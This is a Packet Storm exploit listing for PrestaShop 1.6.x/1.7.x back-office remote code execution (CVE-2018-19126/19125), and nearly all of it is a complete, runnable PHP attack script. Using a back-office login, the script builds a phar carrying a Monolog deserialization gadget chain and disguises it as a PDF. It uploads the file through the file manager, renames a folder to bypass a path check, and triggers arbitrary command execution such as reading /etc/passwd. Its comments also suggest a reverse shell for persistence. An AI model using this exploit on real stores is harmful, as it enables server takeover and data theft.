Lucene search

K
packetstormFarisvPACKETSTORM:150757
HistoryDec 12, 2018 - 12:00 a.m.

PrestaShop 1.6.x / 1.7.x Remote Code Execution

2018-12-1200:00:00
farisv
packetstormsecurity.com
105

0.032 Low

EPSS

Percentile

90.2%

`<?php  
/**  
*   
* PrestaShop 1.6.x <= 1.6.1.23 & 1.7.x <= 1.7.4.4 - Back Office Remote Code Execution  
* See https://github.com/farisv/PrestaShop-CVE-2018-19126 for explanation.  
*   
* Chaining multiple vulnerabilities to trigger deserialization via phar.  
*  
* Date:  
* December 1st, 2018  
*  
* Author:  
* farisv  
*  
* Vendor Homepage:  
* https://www.prestashop.com/  
*  
* Vulnerable Package Link:  
* https://assets.prestashop2.com/en/system/files/ps_releases/prestashop_1.7.4.3.zip  
*  
* CVE :  
* - CVE-2018-19126  
* - CVE-2018-19125  
*   
* Prerequisite:  
* - PrestaShop 1.6.x before 1.6.1.23 or 1.7.x before 1.7.4.4.  
* - Back Office account (logistician, translator, salesman, etc.).  
*   
* Usage:  
* php exploit.php back-office-url email password func param  
*   
* Example:  
* php exploit.php http://127.0.0.1/admin-dev/ [email protected] 54l35m4n123  
* system 'cat /etc/passwd'  
*   
* Note:  
* Note that the upload directory will be renamed and you can't upload the  
* malicious phar file again if the folder name is not reverted. You might want  
* to execute reverse shell to gain persistence RCE or include the command to  
* rename the folder again in your payload (you need to know the path to the  
* upload directory).  
*   
* FOR EDUCATIONAL PURPOSES ONLY. DO NOT USE THIS SCRIPT FOR ILLEGAL ACTIVITIES.  
* THE AUTHOR IS NOT RESPONSIBLE FOR ANY MISUSE OR DAMAGE.  
*   
*/  
  
namespace PrestaShopRCE {  
  
class Exploit {  
private $url;  
private $email;  
private $passwd;  
private $cmd;  
private $func;  
private $param;  
  
public function __construct($url, $email, $passwd, $func, $param) {  
$this->url = $url;  
$this->email = $email;  
$this->passwd = $passwd;  
$this->func = $func;  
$this->param = $param;  
}  
  
private function post($path, $data, $cookie) {  
$curl_handle = curl_init();  
  
$options = array(  
CURLOPT_URL => $this->url . $path,  
CURLOPT_HEADER => true,  
CURLOPT_POST => 1,  
CURLOPT_POSTFIELDS => $data,  
CURLOPT_RETURNTRANSFER => true,  
CURLOPT_COOKIE => $cookie  
);  
  
curl_setopt_array($curl_handle, $options);  
$raw = curl_exec($curl_handle);  
curl_close($curl_handle);  
  
return $raw;  
}  
  
private function fetch_cookie($raw) {  
$header = "Set-Cookie: ";  
$cookie_header_start = strpos($raw, $header);  
$sliced_part = substr($raw, $cookie_header_start + strlen($header));  
$cookie = substr($sliced_part, 0, strpos($sliced_part, ';'));  
return $cookie;  
}  
  
public function run() {  
  
// Login and get PrestaShop cookie  
$data = array(  
'email' => $this->email,  
'passwd' => $this->passwd,  
'submitLogin' => '1',  
'controller' => 'AdminLogin',  
'ajax' => '1'  
);  
$cookie = "";  
$raw = $this->post('/', $data, $cookie);  
$prestashop_cookie = $this->fetch_cookie($raw);  
  
// Get FileManager cookie  
$data = array();  
$cookie = $prestashop_cookie;  
$raw = $this->post('/filemanager/dialog.php', $data, $cookie);  
$filemanager_cookie = $this->fetch_cookie($raw);  
  
// Craft deserialization gadget  
$gadget = new \Monolog\Handler\SyslogUdpHandler(  
new \Monolog\Handler\BufferHandler(  
['current', $this->func],  
[$this->param, 'level' => null]  
)  
);  
  
// Craft malicious phar file  
$phar = new \Phar('phar.phar');  
$phar->startBuffering();  
$phar->addFromString('test', 'test');  
$phar->setStub('<?php __HALT_COMPILER(); ? >');  
$phar->setMetadata($gadget);  
$phar->stopBuffering();  
  
// Change the extension  
rename('phar.phar', 'phar.pdf');  
  
// Cookie for next requests  
$cookie = "$prestashop_cookie; $filemanager_cookie";  
  
// Upload phar.pdf  
$curl_file = new \CurlFile('phar.pdf', 'application/pdf', 'phar.pdf');  
$data = array(  
'file' => $curl_file  
);  
$raw = $this->post('/filemanager/upload.php', $data, $cookie);  
  
// Rename image directory to bypass realpath() check  
$data = array(  
'name' => 'renamed'  
);  
$raw = $this->post(  
'/filemanager/execute.php?action=rename_folder',  
$data,  
$cookie  
);  
  
// Trigger deserialization  
// The '/img/cms/' substring is important to bypass string check  
$data = array(  
'path' => 'phar://../../img/renamed/phar.pdf/img/cms/'  
);  
$raw = $this->post(  
'/filemanager/ajax_calls.php?action=image_size',  
$data,  
$cookie  
);  
  
// Display the raw result  
print $raw;  
  
}  
}  
  
}  
  
/*  
* Based on  
* https://github.com/ambionics/phpggc/blob/master/gadgetchains/Monolog/RCE/1/  
*/  
namespace Monolog\Handler {  
  
class SyslogUdpHandler {  
protected $socket;  
  
function __construct($param) {  
$this->socket = $param;  
}  
}  
  
class BufferHandler {  
protected $handler;  
protected $bufferSize = -1;  
protected $buffer;  
protected $level = null;  
protected $initialized = true;  
protected $bufferLimit = -1;  
protected $processors;  
  
function __construct($methods, $command) {  
$this->processors = $methods;  
$this->buffer = [$command];  
$this->handler = clone $this;  
}  
}  
  
}  
  
namespace {  
  
if (count($argv) != 6) {  
$hint = "Usage:\n php $argv[0] back-office-url email password func param\n\n";  
$hint .= "Example:\n php $argv[0] http://127.0.0.1/admin-dev/ ";  
$hint .= "[email protected] 54l35m4n123 system 'uname -a'";  
die($hint);  
}  
  
if (!extension_loaded('curl')) {  
die('Need php-curl');  
}  
  
$url = $argv[1];  
$email = $argv[2];  
$passwd = $argv[3];  
$func = $argv[4];  
$param = $argv[5];  
  
$exploit = new PrestaShopRCE\Exploit($url, $email, $passwd, $func, $param);  
$exploit->run();  
  
}  
  
  
`

0.032 Low

EPSS

Percentile

90.2%